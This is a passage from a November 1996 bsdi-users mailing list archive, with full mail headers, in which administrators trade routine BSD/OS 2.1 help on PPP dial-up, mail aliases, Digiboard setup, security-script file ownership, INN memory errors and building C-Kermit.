01:20:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA13894 for bsdi-users-outgoing; Thu, 14 Nov 1996 01:23:37 -0500 (EST) Message-Id: X-Mailer: ELM [version 2.4 PL23] Content-Type: text Precedence: bulk From: admin@delhi.globemail.com (Administrator) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Dailup PPP connex Date: Thu, 14 Nov 1996 09:03:03 +0000 (GMT) Hi Bsdi users, We are heaving a Dialup PPP connection from ISP (VSNL). I configured on Windows 95. But I am planning to configure on BSD OS. Please let me know some useful tipe for this. Ram Narayan, Systems Administrator, Amsoft Systems India Inc., New Delhi From VM Fri Nov 15 00:54:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["713" "Thu" "14" "November" "1996" "02:52:22" "" "System Administrator" "internex@pcrealm.net" nil "17" "Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA17948 for ; Thu, 14 Nov 1996 01:57:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA13995 for bsdi-users-outgoing; Thu, 14 Nov 1996 01:53:54 -0500 (EST) Message-Id: <199611140653.BAA01451@home.pcrealm.net> Reply-To: "System Administrator - Greg Wiktor" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "System Administrator - Greg Wiktor" Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@bsdi.com" Subject: Sendmail: Mass E-Mailing users/groups Date: Thu, 14 Nov 96 02:52:22 Hello there everyone... Does anyone know if it is possible to Mass E-Mail users or groups messages? Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech PC Realm Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: INTERNEX@PCREALM.NET (PRIMARY) INTERNEX@ADVINC.COM INTERNEX@LANLINE.COM ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Fri Nov 15 00:55:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1024" "Thu" "14" "November" "1996" "07:08:22" "-0500" "pferraro@wna-linknet.com" "pferraro@wna-linknet.com" nil "31" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA27927 for ; Thu, 14 Nov 1996 07:09:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA16142 for bsdi-users-outgoing; Thu, 14 Nov 1996 07:01:02 -0500 (EST) In-Reply-To: <199611140653.BAA01451@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: pferraro Sender: owner-bsdi-users@lists.gateway.com To: System Administrator - Greg Wiktor cc: "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Thu, 14 Nov 1996 07:08:22 -0500 (EST) I would suggest using the Bulletin generator under POPPER. It works great! 1 Message and all of my users get the message when the get their mail! FWIW. Phil Ferraro WorldNet Access On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: > Hello there everyone... > > Does anyone know if it is possible to Mass E-Mail users or groups messages? > Greg Wiktor Senior System Administrator > _____________________________________________________________________ > Advantech PC Realm Internet Services (WWW.PCREALM.NET) > 60 Welcher Avenue > Peekskill, NY 10566 > Tel: 914-736-7300 Fax: 914-736-7024 > E-Mail: > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM > ______________________________________________________________________ > -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- > > From VM Fri Nov 15 00:55:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["795" "Thu" "14" "November" "1996" "10:17:13" "-0500" "Sam Brown" "root@ns2.clever.net" nil "32" "Re: Exchange test shell account?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA02948 for ; Thu, 14 Nov 1996 10:25:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA16555 for bsdi-users-outgoing; Thu, 14 Nov 1996 10:19:38 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante cc: bsdi-users@BSDI.COM Subject: Re: Exchange test shell account? Date: Thu, 14 Nov 1996 10:17:13 -0500 (EST) I might be able to help you out. Always looking for more accounts :) BSDi 2.1 server with 5 t-1's and 1 fractional DS3, no quota, unlimited use. Would be glad to exchange one for one for doing traceroutes/pings now and then :) Sam On Wed, 13 Nov 1996, Armando Escalante wrote: > > Hi All, > > Would anyone be interested in exchanging a BSDI shell account? I currently > have a shell account with Netcom and would like to save me the $19/mo it's > costing me, besides, they use SUN... > > I only need and would give a telnet enduser shell account, with access to > traceroute, etc. A simple end user account with 1 MB space max. > > This would be used for testing MY site from your site. > > If anyone is interested, please email me directly. > > Thanks > armando@tio.com > > > > From VM Fri Nov 15 00:55:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["589" "Thu" "14" "November" "1996" "08:45:52" "-0800" "patrick@value.net" "patrick@value.net" nil "19" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA05430 for ; Thu, 14 Nov 1996 11:56:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16856 for bsdi-users-outgoing; Thu, 14 Nov 1996 11:50:10 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: pferraro cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Thu, 14 Nov 1996 08:45:52 -0800 (PST) On Thu, 14 Nov 1996, pferraro wrote: > > I would suggest using the Bulletin generator under POPPER. It works > great! 1 Message and all of my users get the message when the get their > mail! However, doesn't this only work for people retreiving mail via a POP client? /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Fri Nov 15 00:55:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["828" "Thu" "14" "November" "1996" "08:42:09" "-0800" "patrick@value.net" "patrick@value.net" nil "29" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA05435 for ; Thu, 14 Nov 1996 11:56:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16839 for bsdi-users-outgoing; Thu, 14 Nov 1996 11:42:43 -0500 (EST) Reply-To: patrick@value.net In-Reply-To: <199611140653.BAA01451@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: System Administrator - Greg Wiktor cc: "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Thu, 14 Nov 1996 08:42:09 -0800 (PST) On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: > Hello there everyone... > > Does anyone know if it is possible to Mass E-Mail users or groups messages? > Greg Wiktor Senior System Administrator Yes. In /etc/aliases add something like: group-to-mail: :include:/path-to-file Where file is a text file containing the names of users that you want to mail to. Run newaliases Then simply fire up your mailer and address your mail to group-to-mail. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Fri Nov 15 00:55:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["504" "Thu" "14" "November" "1996" "09:33:36" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "16" "Re: Boot errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06820 for ; Thu, 14 Nov 1996 12:50:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17021 for bsdi-users-outgoing; Thu, 14 Nov 1996 12:39:19 -0500 (EST) Message-Id: <199611141733.JAA15625@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, rpageau@inexpress.net Subject: Re: Boot errors Date: Thu, 14 Nov 1996 09:33:36 -0800 (PST) > > Here are some errors I saw when I booted up my machine the other day. Does > this mean anything to someone and is it a problem. > > > netsat:kvm_read kvm_read : Bad address > netsat:kvm_read kvm_read : Bad address > Could you have booted a different kernel than the one in /bsd? Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Fri Nov 15 00:55:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1553" "Thu" "14" "November" "1996" "10:11:21" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "48" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA07087 for ; Thu, 14 Nov 1996 12:53:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17041 for bsdi-users-outgoing; Thu, 14 Nov 1996 12:50:16 -0500 (EST) In-Reply-To: <3.0.32.19961114010322.00692ea8@pop.ictech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Bill Warner cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 10:11:21 -0800 (PST) Hello Guys. I am still here and still working on this board. I get the follwoing error when the system boots up: Starting local daemons digisetup: open of /dev/ttyA00 said "Device not configured" usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board Now I have the following call in my rc.local /usr/sbin/digisetup -l 16 /dev/ttyA00 Is the above error stating that the digiboard is not recognized by the BSDI program? I am at a total loss here. I have configured the rc.hardware, made my entries in the /etc/ttys as needed, and as far as I know my rc.local is cofigured correctly. Are there some patches I might need to get from BSDI? Thanks for the help. Chris McGlasson On Thu, 14 Nov 1996, Bill Warner wrote: > At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > > > > >One problem you may wish to correct is that with 2.1 you dont use > >digisetup. you use rc.hardware. What else are you trying to do and what > >is the problem? > > Brian, > > You're right, on 2.1 you really should use the rc.hardware mechanism. > Ultimately though, rc.hardware just provides a fancy way to run digisetup. > So, as long as your sure that you do things in the right order the result > should be the same as running digisetup "by hand" in rc.local. > > The problem is though, if you don't shuffle things around you may end up > with something trying to use the digi before it is setup, which is not a > good thing. > > So Chris, if you are still with us, you might want to switch to using > rc.hardware to run digisetup. > > Bill > From VM Fri Nov 15 00:55:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1405" "Thu" "14" "November" "1996" "13:39:49" "-0500" "Bill Warner" "lww@ictech.com" nil "36" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA08491 for ; Thu, 14 Nov 1996 13:47:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17258 for bsdi-users-outgoing; Thu, 14 Nov 1996 13:40:16 -0500 (EST) Message-Id: <3.0.32.19961114133946.00696a5c@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson Cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 13:39:49 -0500 At 10:11 AM 11/14/96 -0800, Chris McGlasson wrote: >Hello Guys. I am still here and still working on this board. I get the >follwoing error when the system boots up: > >Starting local daemons >digisetup: open of /dev/ttyA00 said "Device not configured" >usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board Hi Chris, That means that open(2) returned ENXIO, which means, "... the device associated with this special file does not exist." And that probably means that the digi device did not get set up during autoconfig. So, your kernel config is probably not right. Is the digi recognized during autoconfig? Are you sure there are no IRQ or memory conflicts? How about showing us your dmesg.boot, and your config file entry? >Now I have the following call in my rc.local > >/usr/sbin/digisetup -l 16 /dev/ttyA00 > >Is the above error stating that the digiboard is not recognized by the >BSDI program? I am at a total loss here. I have configured the >rc.hardware, made my entries in the /etc/ttys as needed, and as far as I >know my rc.local is cofigured correctly. If you have rc.hardware set up, then you should probably take all of the digisetup stuff out of rc.local. It shouldn't really hurt, the second attempt to run digisetup will just fail with an "already setup" message, but there's no reason to do it twice. Anyway you have to get the kernel config working first. Bill From VM Fri Nov 15 00:55:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["318" "Thu" "14" "November" "1996" "14:36:29" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "13" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA11820 for ; Thu, 14 Nov 1996 15:57:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17560 for bsdi-users-outgoing; Thu, 14 Nov 1996 15:27:19 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: Bill Warner , Brian Backer , bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 14:36:29 -0800 (PST) > Hello Guys. I am still here and still working on this board. I get the > follwoing error when the system boots up: > > Starting local daemons > digisetup: open of /dev/ttyA00 said "Device not configured" > usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board > Have you run mknod for the devices? Amy :) From VM Fri Nov 15 00:55:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["422" "Thu" "14" "November" "1996" "15:44:59" "-0400" "Dan Reish" "dreish@izzy.net" nil "15" "Re: daily insecurity output problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12930 for ; Thu, 14 Nov 1996 16:31:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17626 for bsdi-users-outgoing; Thu, 14 Nov 1996 16:15:10 -0500 (EST) Message-Id: <199611142040.PAA29587@izzy4.izzy.net> Comments: Authenticated sender is Organization: X Market, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Dan Reish" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, Raymond Jolin Subject: Re: daily insecurity output problem Date: Thu, 14 Nov 1996 15:44:59 -0400 On 8 Nov 96 at 8:28, Raymond Jolin wrote: > Below is a clip of my daily run output. I have tried everything to > fix it. Can anyone help? /etc/security expects all disks to be owned by user root and group operator. This line will fix the ownership of your device copies: chown root.operator /usr/rootcopy/dev/{sd,rsd,wd,rwd}[0-9][a-h] I'm not familiar with this "rootcopy" directory. Is it a local thing? -- Dan From VM Fri Nov 15 00:55:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["505" "" "14" "November" "1996" "11:32:15" "-0800" "John Henders" "jhenders@wimsey.com" nil "17" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA13203 for ; Thu, 14 Nov 1996 16:43:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17702 for bsdi-users-outgoing; Thu, 14 Nov 1996 16:41:09 -0500 (EST) Path: van-bc!not-for-mail Newsgroups: local.bsdi-users Organization: Wimsey Information Services Lines: 16 Distribution: local Message-ID: <56fs3v$61r@vanbc.wimsey.com> References: X-Newsreader: NN version 6.5.0 #3 (NOV) Precedence: bulk From: jhenders@wimsey.com (John Henders) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: 14 Nov 1996 11:32:15 -0800 In thom@esva.net (Thom Henderson) writes: >On 6 Nov 1996, Noel, Richard wrote: >> Could anyone suggest where I might look to determine what is causing >> identd to consume so much CPU time ? >I would love to know that too. Someone posted a patch to this list a year or so ago that fixed this. However, I can't find my copy of the patch anywhere. You could try the list archives. -- John Henders - System Administrator - Mindlink!/Wimsey From VM Fri Nov 15 00:55:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2117" "Thu" "14" "November" "1996" "13:05:43" "-0500" "arodriguez@bridge.net" "arodriguez@bridge.net" nil "52" "INN 1.4unoff4 and BSDI 2.1 Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA13214 for ; Thu, 14 Nov 1996 16:44:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17709 for bsdi-users-outgoing; Thu, 14 Nov 1996 16:41:37 -0500 (EST) Message-Id: <199611141758.MAA11143@brickell.bridge.net> x-sender: alex@bridge.net x-mailer: Claris Emailer 1.1 Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Precedence: bulk From: Sender: owner-bsdi-users@lists.gateway.com To: Subject: INN 1.4unoff4 and BSDI 2.1 Question Date: Thu, 14 Nov 96 13:05:43 -0500 I have recently set up a new news server. It is on a P-133 with 128mb of ram, I am using BSDI 2.1 and INN 1.4unoff4. My problem is I seem to be having memory errors, I will post the log below. Anyone have any idea whats up? Nov 12 10:55:47 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:55:54 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:55:56 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:56:17 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:56:19 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:56:20 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:56:23 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Nov 12 10:56:24 skyway innd: ME cant fork/usr/contrib/lib/news/bin/control/newgroup Cannot allocate memory Nov 12 10:56:24 skyway innd: ME cant spawn /usr/contrib/lib/news/bin/control/newgroup for control/newgroup/17612 Cannot allocate memory Nov 12 10:56:30 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd Cannot allocate memory Any help will be apreciated. Thank You, Alex Rodriguez BridgeNet, LC \\\\ (@ @) +________________ooOo_(-)_oOoo________________________________+ | Alejandro Rodriguez \\\\ BridgeNet, LC | | arodriguez@bridge.net 100 South Biscayne Blvd. | | Suite 1315 | | Miami, Florida 33131 | | 305.374.3031 | | http://www.bridge.net | +_____________________________________________________________+ "They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." Benjamin Franklin 1759 From VM Fri Nov 15 00:55:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1575" "Thu" "14" "November" "1996" "17:32:55" "" "System Administrator" "internex@pcrealm.net" nil "48" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA13223 for ; Thu, 14 Nov 1996 16:46:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17736 for bsdi-users-outgoing; Thu, 14 Nov 1996 16:47:37 -0500 (EST) Message-Id: <199611142132.QAA01819@home.pcrealm.net> Reply-To: "System Administrator - Greg Wiktor" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "System Administrator - Greg Wiktor" Sender: owner-bsdi-users@lists.gateway.com To: "patrick@value.net" Cc: "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Thu, 14 Nov 96 17:32:55 Really, thats a good idea, thanks... On Thu, 14 Nov 1996 08:42:09 -0800 (PST), patrick@value.net wrote: >On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: > >> Hello there everyone... >> >> Does anyone know if it is possible to Mass E-Mail users or groups messages? >> Greg Wiktor Senior System Administrator > >Yes. In /etc/aliases add something like: > >group-to-mail: :include:/path-to-file > >Where file is a text file containing the names of users that you want to >mail to. > >Run newaliases > >Then simply fire up your mailer and address your mail to group-to-mail. > >/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >Patrick Greenwell (510) 943-5769 voice > Systems Administrator (510) 210-2000 modem > Value Net, Inc. (510) 943-1708 fax >\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > > > > > > Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech PC Realm Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: INTERNEX@PCREALM.NET (PRIMARY) INTERNEX@ADVINC.COM INTERNEX@LANLINE.COM ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Fri Nov 15 00:56:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["312" "Thu" "14" "November" "1996" "14:29:41" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "18" "Modem Config Program" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14054 for ; Thu, 14 Nov 1996 17:17:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA17793 for bsdi-users-outgoing; Thu, 14 Nov 1996 17:08:13 -0500 (EST) Message-Id: <199611142229.OAA01288@chiba.netxn.com> Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Modem Config Program Date: Thu, 14 Nov 1996 14:29:41 -0800 (PST) Hello All. I was wondering if anyone might know where I can find a version of Kermit to download off the net? I am not happy with the tip program and am in desperate need of a good program to use for configuring my modems. Please let me know of where I might find on. Thank you. Chris McGlasson From VM Fri Nov 15 00:56:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["822" "Thu" "14" "November" "1996" "17:30:54" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "21" "Re: Modem Config Program " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14893 for ; Thu, 14 Nov 1996 17:46:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA17885 for bsdi-users-outgoing; Thu, 14 Nov 1996 17:31:41 -0500 (EST) Message-Id: <199611142230.RAA01960@kci.kciLink.com> In-reply-to: Your message of "Thu, 14 Nov 1996 14:29:41 PST." <199611142229.OAA01288@chiba.netxn.com> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modem Config Program Date: Thu, 14 Nov 1996 17:30:54 -0500 I believe it is somwehere at kermit.columbia.edu via ftp (or maybe ftp.columbia.edu). In any case, when you compile, add these rules to the Makefile, them build using "make bsdi2". #Berkeley Software Design Inc. BSDI # Substitute "LIBS= -lnewcurses -ltermcap" if desired. bsdi2: @echo 'Making C-Kermit $(CKVER) for BSD/OS 2.x ...' $(MAKE) wermit \ "CFLAGS= -DBSD44 -DNOSETREU -DTCPSOCKET -DCK_CURSES \ -DDYNAMIC -DBPS_57K -DBPS_115K $(KFLAGS) -O3" \ "LIBS= -lcurses -ltermcap" "CC=gcc" "CC2=shlicc2" v. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-258-8292 PGP/MIME spoken here http://www.kciLink.com/home/khera/ From VM Fri Nov 15 00:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["944" "Thu" "14" "November" "1996" "16:26:22" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "28" "Re: Modem Config Program " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA17383 for ; Thu, 14 Nov 1996 19:18:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18081 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:11:14 -0500 (EST) In-Reply-To: <199611142230.RAA01960@kci.kciLink.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Vivek Khera cc: bsdi-users@BSDI.COM Subject: Re: Modem Config Program Date: Thu, 14 Nov 1996 16:26:22 -0800 (PST) Thank you for the assistance. Chris On Thu, 14 Nov 1996, Vivek Khera wrote: > I believe it is somwehere at kermit.columbia.edu via ftp (or maybe > ftp.columbia.edu). > > In any case, when you compile, add these rules to the Makefile, them build > using "make bsdi2". > > #Berkeley Software Design Inc. BSDI > # Substitute "LIBS= -lnewcurses -ltermcap" if desired. > bsdi2: > @echo 'Making C-Kermit $(CKVER) for BSD/OS 2.x ...' > $(MAKE) wermit \ > "CFLAGS= -DBSD44 -DNOSETREU -DTCPSOCKET -DCK_CURSES \ > -DDYNAMIC -DBPS_57K -DBPS_115K $(KFLAGS) -O3" \ > "LIBS= -lcurses -ltermcap" "CC=gcc" "CC2=shlicc2" > > v. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Vivek Khera, Ph.D. Khera Communications, Inc. > Internet: khera@kciLink.com Rockville, MD +1-301-258-8292 > PGP/MIME spoken here http://www.kciLink.com/home/khera/ > From VM Fri Nov 15 00:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["536" "Fri" "15" "November" "1996" "11:00:00" "+1100" "Dinesh Pullat" "dinesh@newsnet.com.au" nil "17" "GateD/BSDi 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA17387 for ; Thu, 14 Nov 1996 19:18:41 -0500 (EST) Received: (from majordom@localhost) by 